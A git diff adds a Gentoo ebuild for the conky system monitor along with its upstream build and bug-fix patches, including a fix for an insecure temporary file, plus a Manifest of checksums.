a25cc352e51ae83a9a6cc15a59c7028337b76079cc075abd578df0f7753dee6edd03c315d61ead17016a075395a5b1064449300a53614ebb47eedaf17295a5be WHIRLPOOL 58eab8736385a1b76443382950c5916597f4ceae40b991418bf24cfd0acdcfc7df3b9cbbdbe9ed49e9add3c50cc062cab8291632558ff3eb023872fcb98f5bf1 diff --git a/app-admin/conky-full/conky-full-1.9.0.ebuild b/app-admin/conky-full/conky-full-1.9.0.ebuild new file mode 100644 index 00000000..3e7caab1 --- /dev/null +++ b/app-admin/conky-full/conky-full-1.9.0.ebuild @@ -0,0 +1,139 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/app-admin/conky/conky-1.9.0.ebuild,v 1.3 2012/08/12 12:02:35 ago Exp $ + +EAPI=4 + +inherit eutils + +MY_P="conky-1.9.0" +MY_PN="conky" +MY_PV="1.9.0" + +DESCRIPTION="An advanced, highly configurable system monitor for X" +HOMEPAGE="http://conky.sourceforge.net/" +SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.bz2" + +LICENSE="GPL-3 BSD LGPL-2.1 MIT" +SLOT="0" +KEYWORDS="~alpha amd64 ~ppc ~ppc64 ~sparc ~x86" +IUSE="apcupsd audacious curl debug eve hddtemp imlib iostats lua lua-cairo lua-imlib math moc mpd nano-syntax ncurses nvidia +portmon rss thinkpad truetype vim-syntax weather-metar weather-xoap wifi X xmms2" + +WORKDIR="/var/tmp/portage/${CATEGORY}/${P}/work" +S="${WORKDIR}/${MY_P}" + +DEPEND_COMMON=" + X? ( + imlib? ( media-libs/imlib2 ) + lua-cairo? ( + >=dev-lua/toluapp-1.0.93 + >=dev-lang/lua-5.1.4-r8 + x11-libs/cairo[X] ) + lua-imlib? ( + >=dev-lua/toluapp-1.0.93 + >=dev-lang/lua-5.1.4-r8 + media-libs/imlib2 ) + nvidia? ( media-video/nvidia-settings ) + truetype? ( x11-libs/libXft >=media-libs/freetype-2 ) + x11-libs/libX11 + x11-libs/libXdamage + x11-libs/libXext + audacious? ( >=media-sound/audacious-1.5 dev-libs/glib ) + xmms2? ( media-sound/xmms2 ) + ) + curl? ( net-misc/curl ) + eve? ( net-misc/curl dev-libs/libxml2 ) + portmon? ( dev-libs/glib ) + lua? ( >=dev-lang/lua-5.1.4-r8 ) + ncurses? ( sys-libs/ncurses ) + rss? ( dev-libs/libxml2 net-misc/curl dev-libs/glib ) + wifi? ( net-wireless/wireless-tools ) + weather-metar? ( net-misc/curl ) + weather-xoap? ( dev-libs/libxml2 net-misc/curl ) + virtual/libiconv + " +RDEPEND=" + ${DEPEND_COMMON} + apcupsd? ( sys-power/apcupsd ) + hddtemp? ( app-admin/hddtemp ) + moc? ( media-sound/moc ) + nano-syntax? ( app-editors/nano ) + vim-syntax? ( || ( app-editors/vim app-editors/gvim ) ) + " +DEPEND=" + ${DEPEND_COMMON} + virtual/pkgconfig + " + +src_prepare() { + epatch "${FILESDIR}/${MY_PN}-1.8.1-utf8-scroll.patch" \ + "${FILESDIR}/${MY_P}-ncurses.patch" +} + +src_configure() { + local myconf + + if use X; then + myconf="--enable-x11 --enable-double-buffer --enable-xdamage" + myconf="${myconf} --enable-argb --enable-own-window" + myconf="${myconf} $(use_enable imlib imlib2) $(use_enable lua-cairo)" + myconf="${myconf} $(use_enable lua-imlib lua-imlib2)" + myconf="${myconf} $(use_enable nvidia) $(use_enable truetype xft)" + myconf="${myconf} $(use_enable audacious) $(use_enable xmms2)" + else + myconf="--disable-x11 --disable-own-window --disable-argb" + myconf="${myconf} --disable-lua-cairo --disable-nvidia --disable-xft" + myconf="${myconf} --disable-audacious --disable-xmms2" + fi + + econf \ + ${myconf} \ + $(use_enable apcupsd) \ + $(use_enable curl) \ + $(use_enable debug) \ + $(use_enable eve) \ + $(use_enable hddtemp) \ + $(use_enable iostats) \ + $(use_enable lua) \ + $(use_enable thinkpad ibm) \ + $(use_enable math) \ + $(use_enable moc) \ + $(use_enable mpd) \ + $(use_enable ncurses) \ + $(use_enable portmon) \ + $(use_enable rss) \ + $(use_enable weather-metar) \ + $(use_enable weather-xoap) \ + $(use_enable wifi wlan) +} + +src_install() { + default + + dohtml doc/{config_settings.html,docs.html,lua.html,variables.html} + + if use vim-syntax; then + insinto /usr/share/vim/vimfiles/ftdetect + doins "${S}"/extras/vim/ftdetect/conkyrc.vim + + insinto /usr/share/vim/vimfiles/syntax + doins "${S}"/extras/vim/syntax/conkyrc.vim + fi + + if use nano-syntax; then + insinto /usr/share/nano/ + doins "${S}"/extras/nano/conky.nanorc + fi +} + +pkg_postinst() { + elog "You can find a sample configuration file at ${ROOT%/}/etc/conky/conky.conf." + elog "To customize, copy it to ~/.conkyrc and edit it to your liking." + elog + elog "For more info on Conky's features please look at the Changelog in" + elog "${ROOT%/}/usr/share/doc/${PF}. There are also pretty html docs available" + elog "on Conky's site or in ${ROOT%/}/usr/share/doc/${PF}/html." + elog + elog "Also see http://www.gentoo.org/doc/en/conky-howto.xml" + elog +} diff --git a/app-admin/conky-full/files/conky-1.8.1-acpitemp.patch b/app-admin/conky-full/files/conky-1.8.1-acpitemp.patch new file mode 100644 index 00000000..9632b99e --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-acpitemp.patch @@ -0,0 +1,81 @@ +From 1b90218c339467770254aba03e3f0a3acc4af4b0 Mon Sep 17 00:00:00 2001 +From: Nikolas Garofil +Date: Wed, 10 Nov 2010 18:22:22 +0100 +Subject: [PATCH] Let $acpitemp use /sys instead of /proc + +From the 2.6.36 changelog (http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36): +Mark the ACPI thermal procfs I/F deprecated, because /sys/class/thermal/ is already available and has been working for years w/o any problem. +The ACPI thermal procfs I/F will be removed in 2.6.37 +--- + src/linux.cc | 26 ++++++++++++-------------- + 1 files changed, 12 insertions(+), 14 deletions(-) + +diff --git a/src/linux.cc b/src/linux.cc +index ae97f48..bfb0063 100644 +--- a/src/linux.c ++++ b/src/linux.c +@@ -1449,26 +1449,20 @@ critical (S5): 73 C + passive: 73 C: tc1=4 tc2=3 tsp=40 devices=0xcdf6e6c0 + */ + +-#define ACPI_THERMAL_DIR "/proc/acpi/thermal_zone/" +-#define ACPI_THERMAL_FORMAT "/proc/acpi/thermal_zone/%s/temperature" ++#define ACPI_THERMAL_ZONE_DEFAULT "thermal_zone0" ++#define ACPI_THERMAL_FORMAT "/sys/class/thermal/%s/temp" + + int open_acpi_temperature(const char *name) + { + char path[256]; +- char buf[256]; + int fd; + + if (name == NULL || strcmp(name, "*") == 0) { +- static int rep = 0; +- +- if (!get_first_file_in_a_directory(ACPI_THERMAL_DIR, buf, &rep)) { +- return -1; +- } +- name = buf; ++ snprintf(path, 255, ACPI_THERMAL_FORMAT, ACPI_THERMAL_ZONE_DEFAULT); ++ } else { ++ snprintf(path, 255, ACPI_THERMAL_FORMAT, name); + } + +- snprintf(path, 255, ACPI_THERMAL_FORMAT, name); +- + fd = open(path, O_RDONLY); + if (fd < 0) { + NORM_ERR("can't open '%s': %s", path, strerror(errno)); +@@ -1480,6 +1474,9 @@ int open_acpi_temperature(const char *name) + static double last_acpi_temp; + static double last_acpi_temp_time; + ++//the maximum length of the string inside a ACPI_THERMAL_FORMAT file including the ending 0 ++#define MAXTHERMZONELEN 6 ++ + double get_acpi_temperature(int fd) + { + if (fd <= 0) { +@@ -1497,15 +1494,16 @@ double get_acpi_temperature(int fd) + + /* read */ + { +- char buf[256]; ++ char buf[MAXTHERMZONELEN]; + int n; + +- n = read(fd, buf, 255); ++ n = read(fd, buf, MAXTHERMZONELEN-1); + if (n < 0) { + NORM_ERR("can't read fd %d: %s", fd, strerror(errno)); + } else { + buf[n] = '\0'; +- sscanf(buf, "temperature: %lf", &last_acpi_temp); ++ sscanf(buf, "%lf", &last_acpi_temp); ++ last_acpi_temp /= 1000; + } + } + +-- +1.7.0.4 + diff --git a/app-admin/conky-full/files/conky-1.8.1-battery-time.patch b/app-admin/conky-full/files/conky-1.8.1-battery-time.patch new file mode 100644 index 00000000..66e37958 --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-battery-time.patch @@ -0,0 +1,11 @@ +--- a/src/linux.c.old 2012-01-12 08:18:58.525502553 -0500 ++++ b/src/linux.c 2012-01-12 08:19:29.786069277 -0500 +@@ -1671,6 +1671,8 @@ void get_battery_stuff(char *buffer, uns + the tradition! */ + else if (strncmp(buf, "POWER_SUPPLY_CURRENT_NOW=", 25) == 0) + sscanf(buf, "POWER_SUPPLY_CURRENT_NOW=%d", &present_rate); ++ else if (strncmp(buf, "POWER_SUPPLY_POWER_NOW=", 23) == 0) ++ sscanf(buf, "POWER_SUPPLY_POWER_NOW=%d", &present_rate); + else if (strncmp(buf, "POWER_SUPPLY_ENERGY_NOW=", 24) == 0) + sscanf(buf, "POWER_SUPPLY_ENERGY_NOW=%d", &remaining_capacity); + else if (strncmp(buf, "POWER_SUPPLY_ENERGY_FULL=", 25) == 0) diff --git a/app-admin/conky-full/files/conky-1.8.1-curl-headers.patch b/app-admin/conky-full/files/conky-1.8.1-curl-headers.patch new file mode 100644 index 00000000..5de2de14 --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-curl-headers.patch @@ -0,0 +1,24 @@ +diff --git a/src/ccurl_thread.c b/src/ccurl_thread.c +index 10e73a6..9bea299 100644 +--- a/src/ccurl_thread.c ++++ b/src/ccurl_thread.c +@@ -33,7 +33,6 @@ + #endif /* DEBUG */ + + #include +-#include + #include + + /* +diff --git a/src/eve.c b/src/eve.c +index dc07264..f62a5f6 100644 +--- a/src/eve.c ++++ b/src/eve.c +@@ -37,7 +37,6 @@ + #include + + #include +-#include + #include + + #include diff --git a/app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch b/app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch new file mode 100644 index 00000000..956b0397 --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-lua-5.2.patch @@ -0,0 +1,26 @@ +From 83bf5e3f853918583e519fbba455a79242be9c7c Mon Sep 17 00:00:00 2001 +From: Brenden Matthews +Date: Wed, 7 Mar 2012 11:11:12 -0800 +Subject: [PATCH] Build fix for Lua >=5.2. + +See Gentoo bug at https://bugs.gentoo.org/show_bug.cgi?id=407089. +--- + src/llua.c | 2 +- + 1 files changed, 1 insertions(+), 1 deletions(-) + +diff --git a/src/llua.c b/src/llua.c +index 8f1df3c..383c279 100644 +--- a/src/llua.c ++++ b/src/llua.c +@@ -92,7 +92,7 @@ void llua_init(void) + const char *libs = PACKAGE_LIBDIR"/lib?.so;"; + char *old_path, *new_path; + if (lua_L) return; +- lua_L = lua_open(); ++ lua_L = luaL_newstate(); + + /* add our library path to the lua package.cpath global var */ + luaL_openlibs(lua_L); +-- +1.7.0.4 + diff --git a/app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch b/app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch new file mode 100644 index 00000000..6f2097e1 --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-maxinterfaces.patch @@ -0,0 +1,41 @@ +From f6aac5981e70118dc28b3c7a1fe6065955fe3dcb Mon Sep 17 00:00:00 2001 +From: Pavel Labath +Date: Tue, 25 Oct 2011 18:53:09 +0200 +Subject: [PATCH] Increase MAX_NET_INTERFACES to 64 + +also change a magic constant in net_stat.h to reflect the fact that it depends on +MAX_NET_INTERFACES. For more info, see sf.net #2872682 and gentoo bug #384505 +--- + configure.ac.in | 2 +- + src/net_stat.h | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/configure.ac.in b/configure.ac.in +index 0f00237..d52d998 100644 +--- a/configure.ac ++++ b/configure.ac +@@ -802,7 +802,7 @@ AC_DEFINE(CONFIG_FILE, "$HOME/.conkyrc", [Configfile of the user]) + AC_DEFINE(MAX_SPECIALS_DEFAULT, 512, [Default maximum number of special things, e.g. fonts, offsets, aligns, etc.]) + AC_DEFINE(MAX_USER_TEXT_DEFAULT, 16384, [Default maximum size of config TEXT buffer, i.e. below TEXT line.]) + AC_DEFINE(DEFAULT_TEXT_BUFFER_SIZE, 256, [Default size used for temporary, static text buffers]) +-AC_DEFINE(MAX_NET_INTERFACES, 16, [Maximum number of network devices]) ++AC_DEFINE(MAX_NET_INTERFACES, 64, [Maximum number of network devices]) + + dnl + dnl Some functions +diff --git a/src/net_stat.h b/src/net_stat.h +index 463e7db..6f5533c 100644 +--- a/src/net_stat.h ++++ b/src/net_stat.h +@@ -41,7 +41,7 @@ struct net_stat { + double recv_speed, trans_speed; + struct sockaddr addr; + #if defined(__linux__) +- char addrs[273]; ++ char addrs[17 * MAX_NET_INTERFACES + 1]; + #endif /* __linux__ */ + double net_rec[15], net_trans[15]; + // wireless extensions +-- +1.7.0.4 + diff --git a/app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch b/app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch new file mode 100644 index 00000000..b56cee5f --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-nvidia-x.patch @@ -0,0 +1,33 @@ +From b72004787038371098a745c9358e8e1552d945d5 Mon Sep 17 00:00:00 2001 +From: Brenden Matthews +Date: Wed, 6 Oct 2010 11:49:27 -0700 +Subject: [PATCH] Bulid fix for nvidia support. + +See http://bugs.gentoo.org/show_bug.cgi?id=339971 for details. +--- + src/nvidia.c | 4 +++- + 1 files changed, 3 insertions(+), 1 deletions(-) + +diff --git a/src/nvidia.c b/src/nvidia.c +index 8a6423e..5f378d8 100644 +--- a/src/nvidia.c ++++ b/src/nvidia.c +@@ -32,6 +32,7 @@ + #include "logging.h" + #include "nvidia.h" + #include "temphelper.h" ++#include "x11.h" + #include + + const int nvidia_query_to_attr[] = {NV_CTRL_GPU_CORE_TEMPERATURE, +@@ -145,5 +146,6 @@ void set_nvidia_display(const char *disp) + if ((nvdisplay = XOpenDisplay(disp)) == NULL) { + CRIT_ERR(NULL, NULL, "can't open nvidia display: %s", XDisplayName(disp)); + } +- } ++ } + } ++ +-- +1.7.0.4 + diff --git a/app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch b/app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch new file mode 100644 index 00000000..81272bd3 --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-secunia-SA43225.patch @@ -0,0 +1,72 @@ +--- src/eve.c 2011-02-12 13:26:34.636269667 +0100 ++++ src/eve.c 2011-02-12 13:26:48.242936334 +0100 +@@ -254,19 +254,6 @@ + } + } + +-static int file_exists(const char *filename) +-{ +- struct stat fi; +- +- if ((stat(filename, &fi)) == 0) { +- if (fi.st_size > 0) +- return 1; +- else +- return 0; +- } else +- return 0; +-} +- + static void writeSkilltree(char *content, const char *filename) + { + FILE *fp = fopen(filename, "w"); +@@ -283,13 +270,12 @@ + xmlDocPtr doc = 0; + xmlNodePtr root = 0; + +- if (!file_exists(file)) { +- skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE); +- writeSkilltree(skilltree, file); +- free(skilltree); +- } ++ skilltree = getXmlFromAPI(NULL, NULL, NULL, EVEURL_SKILLTREE); ++ writeSkilltree(skilltree, file); ++ free(skilltree); + + doc = xmlReadFile(file, NULL, 0); ++ unlink(file); + if (!doc) + return NULL; + +@@ -340,7 +326,7 @@ + static char *eve(char *userid, char *apikey, char *charid) + { + Character *chr = NULL; +- const char *skillfile = "/tmp/.cesf"; ++ char skillfile[] = "/tmp/.cesfXXXXXX"; + int i = 0; + char *output = 0; + char *timel = 0; +@@ -348,6 +334,7 @@ + char *content = 0; + time_t now = 0; + char *error = 0; ++ int tmp_fd, old_umask; + + + for (i = 0; i < MAXCHARS; i++) { +@@ -400,6 +387,14 @@ + + output = (char *)malloc(200 * sizeof(char)); + timel = formatTime(&chr->ends); ++ old_umask = umask(0066); ++ tmp_fd = mkstemp(skillfile); ++ umask(old_umask); ++ if (tmp_fd == -1) { ++ error = strdup("Cannot create temporary file"); ++ return error; ++ } ++ close(tmp_fd); + skill = getSkillname(skillfile, chr->skill); + + chr->skillname = strdup(skill); diff --git a/app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch b/app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch new file mode 100644 index 00000000..8b9e1e8f --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-utf8-scroll.patch @@ -0,0 +1,104 @@ +From b1f6a30bcce020b3c377434137de9856a09b899a Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Amadeusz=20=C5=BBo=C5=82nowski?= +Date: Fri, 11 Nov 2011 11:27:43 +0100 +Subject: [PATCH] Make scroll UTF-8 aware. Fixes bug #3134941. + +--- + src/scroll.c | 44 ++++++++++++++++++++++++++++++++++++++++++-- + 1 files changed, 42 insertions(+), 2 deletions(-) + +diff --git a/src/scroll.c b/src/scroll.c +index f78f807..738db0d 100644 +--- a/src/scroll.c ++++ b/src/scroll.c +@@ -34,12 +34,33 @@ + + struct scroll_data { + char *text; ++ unsigned int show_orig; + unsigned int show; + unsigned int step; + unsigned int start; + long resetcolor; + }; + ++int utf8_charlen(char c) { ++ unsigned char uc = (unsigned char) c; ++ int len = 0; ++ ++ if ((uc & 0x80) == 0) ++ return 1; ++ ++ while ((uc & 0x80) != 0) { ++ ++len; ++ uc <<= 1; ++ } ++ ++ return (len > 0 && len <= 4) ? len : -1; ++} ++ ++int is_utf8_char_tail(char c) { ++ unsigned char uc = (unsigned char) c; ++ return (uc & 0xc0) == 0x80; ++} ++ + void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_crash) + { + struct scroll_data *sd; +@@ -60,15 +81,18 @@ void parse_scroll_arg(struct text_object *obj, const char *arg, void *free_at_cr + sd->step = 1; + } + sd->text = malloc(strlen(arg + n1) + sd->show + 1); ++ // sd->show value may change when there are UTF-8 chars to be shown, so ++ // save its origin value ++ sd->show_orig = sd->show; + + if (strlen(arg) > sd->show) { + for(n2 = 0; (unsigned int) n2 < sd->show; n2++) { +- sd->text[n2] = ' '; ++ sd->text[n2] = ' '; + } + sd->text[n2] = 0; + } + else +- sd->text[0] = 0; ++ sd->text[0] = 0; + + strcat(sd->text, arg + n1); + sd->start = 0; +@@ -82,9 +106,13 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor + { + struct scroll_data *sd = obj->data.opaque; + unsigned int j, colorchanges = 0, frontcolorchanges = 0, visibcolorchanges = 0, strend; ++ int charlen = 0; ++ unsigned int utf8lenfix = 0; + char *pwithcolors; + char buf[max_user_text]; + ++ sd->show = sd->show_orig; ++ + if (!sd) + return; + +@@ -109,6 +137,18 @@ void print_scroll(struct text_object *obj, char *p, int p_max_size, struct infor + while(*(buf + sd->start) == SPECIAL_CHAR) { + sd->start++; + } ++ //skip parts of UTF-8 character which messes up display ++ while(is_utf8_char_tail(*(buf + sd->start))) { ++ sd->start++; ++ } ++ //extend length to be shown for wide characters ++ j = 0; ++ while(j < sd->show + visibcolorchanges + utf8lenfix) { ++ charlen = utf8_charlen(*(buf + sd->start + j)); ++ utf8lenfix += (charlen > 1 ? charlen - 1 : 0); ++ j += charlen; ++ } ++ sd->show = sd->show_orig + utf8lenfix; + //place all chars that should be visible in p, including colorchanges + for(j=0; j < sd->show + visibcolorchanges; j++) { + p[j] = *(buf + sd->start + j); +-- +1.7.8.rc1 + diff --git a/app-admin/conky-full/files/conky-1.8.1-xmms2.patch b/app-admin/conky-full/files/conky-1.8.1-xmms2.patch new file mode 100644 index 00000000..a1b03d45 --- /dev/null +++ b/app-admin/conky-full/files/conky-1.8.1-xmms2.patch @@ -0,0 +1,36 @@ +From 8dd9b91bb2751abccc02b53cefd0ab8f0e3b957d Mon Sep 17 00:00:00 2001 +From: Brenden Matthews +Date: Thu, 14 Oct 2010 16:51:53 -0700 +Subject: [PATCH] Build fix for XMMS2. + +This resolves bug 3085691, see: +https://sourceforge.net/tracker/index.php?func=detail&aid=3085691&group_id=143975&atid=757308 +--- + src/xmms2.c | 4 ++-- + 1 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/xmms2.c b/src/xmms2.c +index 521bffa..94f13f9 100644 +--- a/src/xmms2.c ++++ b/src/xmms2.c +@@ -223,7 +223,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p) + break; + case XMMS_PLAYBACK_STATUS_STOP: + strncpy(ptr->xmms2.status, "Stopped", text_buffer_size - 1); +- ptr->xmms2.elapsed = ptr->xmms2.progress = ptr->xmms2.percent = 0; ++ ptr->xmms2.elapsed = ptr->xmms2.progress = 0; + break; + default: + strncpy(ptr->xmms2.status, "Unknown", text_buffer_size - 1); +@@ -232,7 +232,7 @@ int handle_playback_state_change(xmmsv_t *value, void *p) + return TRUE; + } + +-int handle_playlist_loaded(xmmsv_t *value, void *p) ++int handle_playlist_loaded(xmmsv_t *value, void *p) + { + struct information *ptr = p; + const char *c, *errbuf; +-- +1.7.0.4 + diff --git a/app-admin/conky-full/files/conky-1.9.0-ncurses.patch b/app-admin/conky-full/files/conky-1.9.0-ncurses.patch new file mode 100644 index 00000000..91043ed4 --- /dev/null +++ b/app-admin/conky-full/files/conky-1.9.0-ncurses.patch @@ -0,0 +1,31 @@ +From fd9462da5ed12369fc6a72e42ebc45c6707403fb Mon Sep 17 00:00:00 2001 +From: Pavel Labath +Date: Fri, 13 Jul 2012 13:41:09 +0200 +Subject: [PATCH] Fix "conky failes to build with --disable-ncurses" (sf.net #3541329) + +--- + src/conky.c | 4 ++-- + 1 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/conky.c b/src/conky.c +index c5b4bed..17fe1a7 100644 +--- a/src/conky.c ++++ b/src/conky.c +@@ -885,12 +885,12 @@ void generate_text_internal(char *p, int p_max_size, + OBJ(cpu) { + if (cur->cpu_usage) { + if (obj->data.i > info.cpu_count) { +- static bool warned = false; ++ static int warned = 0; + if(!warned) { + NORM_ERR("obj->data.i %i info.cpu_count %i", + obj->data.i, info.cpu_count); + NORM_ERR("attempting to use more CPUs than you have!"); +- warned = true; ++ warned = 1; + } + } else { + percent_print(p, p_max_size, +-- +1.7.0.4 + diff --git a/app-admin/conky/Manifest b/app-admin/conky/Manifest new file mode 100644 index 00000000..5b5b8a29 --- /dev/null +++ b/app-admin/conky/Manifest @@ -0,0 +1,15 @@ +AUX conky-1.8.1-acpitemp.patch 2415 SHA256 57815044cd972139171b76e75267792821c783e03537eb6cf7ba8105c46cdf8d SHA512 8c376fe44e72c7bd8526bd51a4ec6a85919e4bfb1189fc2e0b15172ca5a76c6e5c6ece56f186b8da8e720bc5769b2c36fff76367c7c7a587648ad837b7085f1b WHIRLPOOL 849aa8f18b2ab021b0ffcf52cca544f5464f61df0745018bae4ddf938005ef477bc4aa702d2c335e190e353e0897fd2636c95f595202b76b7752d652f2da4f0a +AUX conky-1.8.1-battery-time.patch 655 SHA256 d47e966e61a212048a8c752f1885e567a6b2c497da508dee8be64b205a5a422d SHA512 951ab73eca1a1ca059c127e001c556fed4dec6d9b6b63365d6826be7105b6ac87f2a36b6799aa313dd8a3519d3aea0ff7a6aa8ef46bc36cf6de7ccb7248854e5 WHIRLPOOL f6139a92d78e383dd9a006d40b96272a82165db9d94da90f729db1d65ae0bca39b62b9391c514ef23cb078007d0ccdfece3e89cde73506804c67222e75baf7b0 +AUX conky-1.8.1-curl-headers.patch 494 SHA256 53ff30aa933163a1feb646720ea21b4727d515e33521ac53e77b8bd9d0473eba SHA512 1b78d0c34b86ff75179ead6413487f827ad1ed3627cc6694bc0fd49b214ef4c9d3c05c4dcb8cf3cb4615ab25086e25d3d0f25a897daa410286df41ec38af682c WHIRLPOOL d8acd19f59063a75205b2901fe7e47a7233f73e18263132fe607208c5a6dec5cdcbba215dd7089477ae1d5a6d7d153afd54b78bed69184129a1d556d5505d779 +AUX conky-1.8.1-lua-5.2.patch 731 SHA256 a52fe3067c927340a6f1c485f566db9496684bd89b781e1a320b8a02f115c98f SHA512 facbc8bfb4c7458f06eda35c99443deb09fbea9d9b93ff7dc37d1e159ed27051f081e71ffc937ea33f893c3ccbc2580e05d879e7118f68ba4de819dd820adda2 WHIRLPOOL 1ca7a363fc589af282bfb7767ce1954e7ce7799073b62f06165b2054e9019a7b82423efa9cbce8c548d659d6c9ca26abc6668caf6b3abef9fe80faee32f93f23 +AUX conky-1.8.1-maxinterfaces.patch 1605 SHA256 34f1e53fb145fb252e1f91bcd60803870f12e4e0b31d691accc4cd83dda970ad SHA512 1423d11ae6ce1f601f2bc1f0df2e4ed7b32d17d63d5c15b4ff618bdc3a441b6161b4b9fb12aa8bb6a722b4707830999a1cf221f47ff4e3ac6567b4201aaf794b WHIRLPOOL 15a068a617818af171d60cebc89fab13f7c71c3f2ad7d25df01820bea3c4a2e1bb325eefa427b0ae40d6672651252bfbaa97c9f68248172dbe354262e0cad3c2 +AUX conky-1.8.1-nvidia-x.patch 883 SHA256 290ffdf4094167715bf11b86ee2cf73574a3af32ffb50fa09517d89c56bc0853 SHA512 5dc5e22a0d2b8fca8dd4be929cb2b1c7812ed8461e749dfc05e2d9fc7247d218154cfbb93b358f7080dada6b9b8e7fee25c0a71c9b0ec3ea4cc33fceab830020 WHIRLPOOL c10f56f67d56e0ac9282caee93fcbba982d709e65b0e9f35932037a21d430e3a3f5d9ef7d56368ea74135a158e10a6beef2c2a867d15664cc91852e12ea2795a +AUX conky-1.8.1-secunia-SA43225.patch 1620 SHA256 61c2d204796f51d0d51cd62e9a37a9f4f318e8fe8f955278ef86b64d5b2ff99f SHA512 fde4d36d14ee7f8bb39104c23d336153b09436c8824676e4b003b1d46d2d7af00997839802745e03f5980f001c94c191805bcffe9f81485e71e2b782f7ae3086 WHIRLPOOL e2ad91607d10894227d5e33f3a0ea7d9fa82a72511c91295c1d9e1c668d942b1e53ee05322b7e3c4da5341793fcd6ff8deb9d4a9f75cb35ff3f2f874cd34aae2 +AUX conky-1.8.1-utf8-scroll.patch 2814 SHA256 ee622cda243c7265915c858b264fc4750a329f5c7e9a29323421a777291acfb7 SHA512 a88c49e83b360949d6450f1fbee22dc6648586f5469f6256581db7c55ba8efc35c01756fa241bfc13df0b44390d36ef72e4250d18a8743d62089e2f57f9f8fbd WHIRLPOOL 951e9b9083033a4d247bfeee12ee4f3da30ae53015c7b8095d587fb544e720c627b951ccee5da418c719a05c9a55b560d6bcb56cdfa5daaa6f50cee1a828327e +AUX conky-1.8.1-xmms2.patch 1190 SHA256 1b64047f04239dbf24b3171fcd8d5c950e9f8aa6af5e94cd4836cd14c70e2bdc SHA512 ec7f526a3b3fed3a80b1f998bbf2f1d48931caa209605767283da8440551c950a6f8bf7efcca6fde51f085b3eb5abb1a357dee6b2b32c4537edf9fae5fd0d1d5 WHIRLPOOL 904226a6749f7516c46a75e36b83218b27018b328196086d5a9624d726a5b9d31c87dfa8df9b60f013be64487cb6bbf5291014b1d350681d7412932b29bddc42 +AUX conky-1.9.0-ncurses.patch 939 SHA256 76a777bab29009c2053b61e9e5904aea131c93d5f026acc161048374f75e72f6 SHA512 0a0737bec67eb241dee4029907d9f3e5bc8d49c8239fbdda5cbfa2b7b0aa50fb2ac9bf3397ccecd94768a176fc6c3ec0e18d67391d9285aff9658ba234202d4e WHIRLPOOL 0893db6ffbc2b37c58b2de8e34e4288640a1d3a5e3a754bd39faec141a7e94e49c83011f5eb58c86afe838fff1b77a661ff63a61f6780f9ca5e5b24f50463014 +DIST conky-1.8.1.tar.bz2 612481 SHA256 f85a278f2869596b1fd68b6d26d58c93af8dcc39d5186bbcfd587d4c545e5e43 SHA512 cd863c1d4bb28e18073ec540aec2e9286767d38d21699dc74b9c0e66d3e4ccddf43e4d99fd0da9fe1cd67e29faf64312a910e0e9e4e86ef60705aa1c2184c50d WHIRLPOOL f19e454a7082f0a5aeec9cd40e134991b9d07a7e4d71c9be452092d6d625bbc310530914b54cecba2b3e971bf459e26a28501f6b458b1e6e983e7460ae72a257 +DIST conky-1.9.0.tar.bz2 626555 SHA256 baf1b550f135fbfb53e5e286a33aadc03a667d63bf6c4d52ba7637366295bb6f SHA512 98c9f69fd8bee2062e3eddeb7a394cce932199ffd6c8664006d1222f0453569406613e63637848c77a455f7dae3f16be3079a2cab56ecafea51ec043de23c889 WHIRLPOOL 41bbe95ec838dbda2c2d4a9422d2f2f7d22d0cb99e87c59fbd32c0c7856cc83de36cbeefd982c964ec5229ae0b0342e84525aa5343d8c5cf9525205cea4a274a +EBUILD conky-1.8.1-r6.ebuild 4199 SHA256 35030ad941820c637159ed3015679f9b9aa628f490d3808d6524bff716621f3d SHA512 3417074b21d24d7522793b40ae7990a890dbb303d7c8ded575ca8328757808dc5a58fe0fd7166dce509b84e4653eb6fbee0abbbad73e8edb35926e669d183bb5 WHIRLPOOL 47f58224e4f95d1f147793a4fda939f852893fcd0dcab4a4cb63accfa6e018b28468fced134fbaef034cbe18aea69efb8dc53ec98f2f9764e98647feff735ff7 +EBUILD conky-1.9.0.ebuild 3935 SHA256 111816db2ff78ec1f624609a6876bf55446f9e28df1ab49844f6d6ae876f5f75 SHA512 aba504bb791117ff922223b4bef7afe566b0f350b293975f40aa537151f58f6abc819ddccba671b3dff5ebb38803d81b08d5d914c338cac327cd8abccf4a1aeb WHIRLPOOL 3782b4de800ceaecf9f530217ae96b4790941289a81d032071c960edbe3289810306040f571e3af51d15bb711613af28fa00a56d788c0034f2636f1b23d1fe28 +MISC metadata.xml 2035 SHA256 7629c0d86a74d086f1b9934919881b5ee82c285e94d58d4a802694633ea11302 SHA512 546dafceed03c1148cdd4003021112306b636124f0f4ee13950d4a1b5bb8a7ff56256e6acf131e08e4573195e987810d562b2c202ba9c3022097a52e47c1f325 WHIRLPOOL 